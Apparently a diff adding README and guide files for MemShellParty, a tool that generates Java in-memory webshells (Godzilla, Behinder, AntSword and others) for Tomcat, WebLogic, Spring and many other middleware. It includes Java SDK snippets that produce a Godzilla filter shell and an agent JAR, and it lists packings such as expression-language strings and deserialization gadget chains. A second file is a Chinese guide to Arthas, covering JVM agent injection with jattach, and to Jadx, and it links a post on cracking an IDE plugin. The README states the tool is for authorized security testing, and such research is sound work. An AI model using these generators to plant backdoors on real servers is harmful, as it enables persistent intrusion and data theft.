| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||||
|
|----------------------|----------------------|------------------------|
|
||||||
|
| Filter | Filter | Filter |
|
||||||
|
| Listener | Listener | Listener |
|
||||||
|
| Valve | Valve | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
|
### 内存马功能
|
||||||
|
|
||||||
|
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] 命令执行
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### 封装方式
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] 原生反序列化(CB 和 CC 链)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC 连接
|
||||||
|
- [ ] 其他常见反序列化
|
||||||
@@ -0,0 +1,379 @@
|
|||||||
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
|
<p align="center">English | <a href="../README.md">中文</a><br></p>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||||
|
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
||||||
|
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://t.me/memshell)
|
||||||
|
[](https://party.memshell.news)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
|
||||||
|
|
||||||
|
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
|
||||||
|
|
||||||
|
What you can learn or try from this project:
|
||||||
|
|
||||||
|
1. Learn to write java memshell for common middleware and frameworks.
|
||||||
|
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
|
||||||
|
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
|
||||||
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Key Features
|
||||||
|
|
||||||
|
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
|
||||||
|
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
- Minimal Size: Strives to minimize memshell size for efficient transfer.
|
||||||
|
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### Online Preview
|
||||||
|
|
||||||
|
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
|
||||||
|
|
||||||
|
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
|
||||||
|
|
||||||
|
### Local Deployment (Recommended)
|
||||||
|
|
||||||
|
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
|
||||||
|
|
||||||
|
After deploying with Docker, access the service at http://127.0.0.1:8080
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Pull the latest image from Docker Hub
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
|
||||||
|
# Pull the latest image from Github Container Registry
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
|
# If network quality is poor, use the Nanjing University Github Container Registry mirror
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Remove the previously deployed container
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### SDK Integration into Existing Tools
|
||||||
|
|
||||||
|
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
|
||||||
|
|
||||||
|
1. Add the dependency using Maven or Gradle:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!-- Maven Repo-->
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>1.7.0</version>
|
||||||
|
</dependency>
|
||||||
|
```
|
||||||
|
|
||||||
|
```groovy
|
||||||
|
// Gradle Repo
|
||||||
|
implementation 'io.github.reajason:generator:1.7.0'
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
|
||||||
|
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: "+result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: "+result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
|
||||||
|
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
```
|
||||||
|
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: " + result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: " + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
```
|
||||||
|
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||||
|
|
||||||
|
## Compatibility
|
||||||
|
|
||||||
|
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||||
|
|
||||||
|
### Middleware and Frameworks
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||||
|
|----------------------|----------------------|------------------------|
|
||||||
|
| Filter | Filter | Filter |
|
||||||
|
| Listener | Listener | Listener |
|
||||||
|
| Valve | Valve | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
|
### MemShell Functionality
|
||||||
|
|
||||||
|
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] Command Execution
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### Packaging Methods
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] Built-in ScriptEngine, Rhino ScriptEngine
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] Native Deserialization(CB and CC)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC Connection
|
||||||
|
- [ ] Other common deserialization
|
||||||
|
|
||||||
|
## Local Build
|
||||||
|
|
||||||
|
### Building from Source Code
|
||||||
|
|
||||||
|
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
|
||||||
|
|
||||||
|
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
|
||||||
|
|
||||||
|
1. Clone the project using Git:
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
3. Build the backend project. Ensure you are using a JDK 17 environment.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
Alternatively, you can build a Docker container from the built artifacts:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Building with Dockerfile Directly
|
||||||
|
|
||||||
|
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
|
||||||
|
|
||||||
|
Download the [Dockerfile](../Dockerfile) from the project root.
|
||||||
|
|
||||||
|
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
|
||||||
|
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
|
||||||
|
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Basic build (defaults to root path "/")
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the basic image, access at http://127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# Build with custom access path (e.g., /memshell-party)
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
|
||||||
|
|
||||||
|
Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Contribute
|
||||||
|
|
||||||
|
> Any feedback or issue discussion you provide is a contribution to this project.
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
|
||||||
|
2. If you are skilled in writing memory shells, try adding support for a new type or target.
|
||||||
|
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
|
||||||
|
|
||||||
|
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
|
||||||
|
|
||||||
|
## Thanks
|
||||||
|
|
||||||
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
|
||||||
|
### Let's start the party 🎉
|
||||||
@@ -0,0 +1,178 @@
|
|||||||
|
# 学习 Java 内存马推荐工具
|
||||||
|
|
||||||
|
> 工欲善其事必先利其器
|
||||||
|
|
||||||
|
## Arthas
|
||||||
|
|
||||||
|
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
||||||
|
|
||||||
|
JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html
|
||||||
|
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
|
||||||
|
|
||||||
|
### 启动 Arthas
|
||||||
|
|
||||||
|
直接输入 `java -jar arthas-boot.jar` 启动,回车之后会弹出选项,输入数字选择需要调试的 Java 进程。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
❯ java -jar arthas-boot.jar
|
||||||
|
[INFO] JAVA_HOME: /Users/reajason/.sdkman/candidates/java/21.0.5-oracle
|
||||||
|
[INFO] arthas-boot version: 4.0.5
|
||||||
|
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
|
||||||
|
* [1]: 83922 /Users/reajason/.vscode/extensions/sonarsource.sonarlint-vscode-4.19.0-darwin-arm64/server/sonarlint-ls.jar
|
||||||
|
[2]: 86557 com.intellij.idea.Main
|
||||||
|
```
|
||||||
|
|
||||||
|
有时候可能没有 jps 命令或者不是 HotSpot JVM 会找不到 Java 进程,此时你需要通过 `ps` 找到你需要调试的 Java 进程 PID,并使用 `java -jar arthas-boot.jar <pid>` 启动。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar
|
||||||
|
[INFO] JAVA_HOME: /opt/java/openjdk
|
||||||
|
[INFO] arthas-boot version: 4.0.5
|
||||||
|
[INFO] Can not find java process. Try to run `jps` command lists the instrumented Java HotSpot VMs on the target system.
|
||||||
|
Please select an available pid.
|
||||||
|
```
|
||||||
|
|
||||||
|
arthas-boot 依赖 JDK 环境需要 tools.jar 才能启动,在 JRE 环境会歇菜。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
root@df393b860ae3:/opt/arthas# ps -ef | grep java
|
||||||
|
root 1 0 3 14:19 ? 00:00:01 /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
|
||||||
|
root 87 50 0 14:20 pts/0 00:00:00 grep --color=auto java
|
||||||
|
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
|
||||||
|
[INFO] JAVA_HOME: /opt/java/openjdk
|
||||||
|
[INFO] arthas-boot version: 4.0.5
|
||||||
|
[INFO] arthas home: /opt/arthas
|
||||||
|
[INFO] Try to attach process 1
|
||||||
|
Exception in thread "main" java.lang.IllegalArgumentException: Can not find tools.jar under java home: /opt/java/openjdk, please try to start arthas-boot with full path java. Such as /opt/jdk/bin/java -jar arthas-boot.jar
|
||||||
|
at com.taobao.arthas.boot.ProcessUtils.findJavaHome(ProcessUtils.java:222)
|
||||||
|
at com.taobao.arthas.boot.ProcessUtils.startArthasCore(ProcessUtils.java:233)
|
||||||
|
at com.taobao.arthas.boot.Bootstrap.main(Bootstrap.java:590)
|
||||||
|
```
|
||||||
|
|
||||||
|
前面说了 Arthas 本质就是 Java Agent,因此使用 [jattach](https://github.com/jattach/jattach/releases/latest) 工具将其注入,再尝试连接即可。
|
||||||
|
|
||||||
|
TIP1: **注入的是 `/opt/arthas/arthas-agent.jar`**
|
||||||
|
TIP2: **启动仍然用的 `arthas-boot.jar`**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
root@df393b860ae3:/opt/arthas# ./jattach-linux 1 load instrument false /opt/arthas/arthas-agent.jar
|
||||||
|
Connected to remote JVM
|
||||||
|
JVM response code = 0
|
||||||
|
0
|
||||||
|
|
||||||
|
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
|
||||||
|
[INFO] JAVA_HOME: /opt/java/openjdk
|
||||||
|
[INFO] arthas-boot version: 4.0.5
|
||||||
|
[INFO] arthas home: /opt/arthas
|
||||||
|
[INFO] The target process already listen port 3658, skip attach.
|
||||||
|
[INFO] arthas-client connect 127.0.0.1 3658
|
||||||
|
,---. ,------. ,--------.,--. ,--. ,---. ,---.
|
||||||
|
/ O \ | .--. ''--. .--'| '--' | / O \ ' .-'
|
||||||
|
| .-. || '--'.' | | | .--. || .-. |`. `-.
|
||||||
|
| | | || |\ \ | | | | | || | | |.-' |
|
||||||
|
`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----'
|
||||||
|
|
||||||
|
wiki https://arthas.aliyun.com/doc
|
||||||
|
tutorials https://arthas.aliyun.com/doc/arthas-tutorials.html
|
||||||
|
version 4.0.5
|
||||||
|
main_class org.apache.catalina.startup.Bootstrap start
|
||||||
|
pid 1
|
||||||
|
start_time 2025-04-09 14:19:48.004
|
||||||
|
currnt_time 2025-04-09 14:23:16.044
|
||||||
|
|
||||||
|
[arthas@1]$
|
||||||
|
```
|
||||||
|
|
||||||
|
当看到大片上述输出,且命令提示符变成 `[arthas@1]$` 你就成功进入 Arthas 了,接下来让我们看看有哪些好用的命令吧。
|
||||||
|
|
||||||
|
### jad
|
||||||
|
|
||||||
|
> [官方文档/jad.html](https://arthas.aliyun.com/doc/jad.html)
|
||||||
|
|
||||||
|
jad 命令是用来查看反编译后的类源码。除了源码信息,还能查看是哪一个 classloader 加载的当前类,以及 classloader 的继承关系,还能看到当前类存在在哪个 jar 文件中(如果有的话),拖到 IDEA 里面就能进行调试啦。
|
||||||
|
|
||||||
|
- `jad org.apache.lESNa.EncryptionUtil`,查看类源码完整信息。
|
||||||
|
- `jad org.apache.catalina.core.ApplicationFilterChain doFilter`,仅查看 doFilter 方法的源码。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
如果回车之后显示找不到类的话,可能拼写错误,或类还没有被加载到 JVM 中,可以先尝试访问类依赖的业务路径,触发类加载之后再进行 jad。
|
||||||
|
|
||||||
|
### classloader
|
||||||
|
|
||||||
|
> [官方文档/classloader.html](https://arthas.aliyun.com/doc/classloader.html)
|
||||||
|
|
||||||
|
classloader 用来查看类加载器信息。
|
||||||
|
|
||||||
|
- `classloader` 查看当前有哪些类加载器,以及其类加载情况
|
||||||
|
- `classloader -t` 查看类加载器继承关系
|
||||||
|
- `classloader -c <hash>` 指定类加载实例 hash 查看其 urls
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
此处的分析将会在 Java 基础中提及,有些 ClassNotFoundException 或 ClassCastException 可以通过此种方式找到问题所在。
|
||||||
|
|
||||||
|
### sc
|
||||||
|
|
||||||
|
> [官方文档/sc.html](https://arthas.aliyun.com/doc/sc.html)
|
||||||
|
|
||||||
|
sc 即 search-class,用来查找 JVM 中的类信息。常用的一种方式是查看 interface 的所有实现类。
|
||||||
|
|
||||||
|
- `sc javax.servlet.Servlet`,查看 Servlet 实现类有哪些
|
||||||
|
- `sc javax.servlet.ServletContext`,查看 ServletContext 实现类有哪些
|
||||||
|
- `sc -d org.apache.catalina.core.ApplicationContext`,查看类的详细信息,这样我们能定位到 jar 拖出来进行反编译分析。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### stop
|
||||||
|
|
||||||
|
执行 stop 退出当前 Arthas 命令行环境,回到 Unix shell。
|
||||||
|
|
||||||
|
```
|
||||||
|
[arthas@1]$ stop
|
||||||
|
Resetting all enhanced classes ...
|
||||||
|
Affect(class count: 0 , method count: 0) cost in 2 ms, listenerId: 0
|
||||||
|
Arthas Server is going to shutdown...
|
||||||
|
[arthas@1]$ session (c5ee97b5-6809-48ab-bdfc-09d900087ec9) is closed because server is going to shutdown.
|
||||||
|
```
|
||||||
|
|
||||||
|
## Jadx
|
||||||
|
|
||||||
|
> [skylot/jadx](https://github.com/skylot/jadx)
|
||||||
|
|
||||||
|
目前 Java 最强反编译器,人手一个,几乎可以反编译任何 jar 包,部分究极混淆的类,即使无法反编译成功,也可查看字节码。
|
||||||
|
|
||||||
|
打开之后,可以直接将 class 或 jar 拖入到左边框中就会自动进行反编译,点击 Source Code 里面就能看到反编译的结果,最下面可以选 Code、Smali 等等,一般 Code 里面反编译失败才需要切换,其他功能可查看 [记录 Rainbow Brackets 插件破解](https://reajason.eu.org/writing/rainbowbracketscracked/) 了解一下常用的操作。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## File Expander — IDEA 插件
|
||||||
|
|
||||||
|
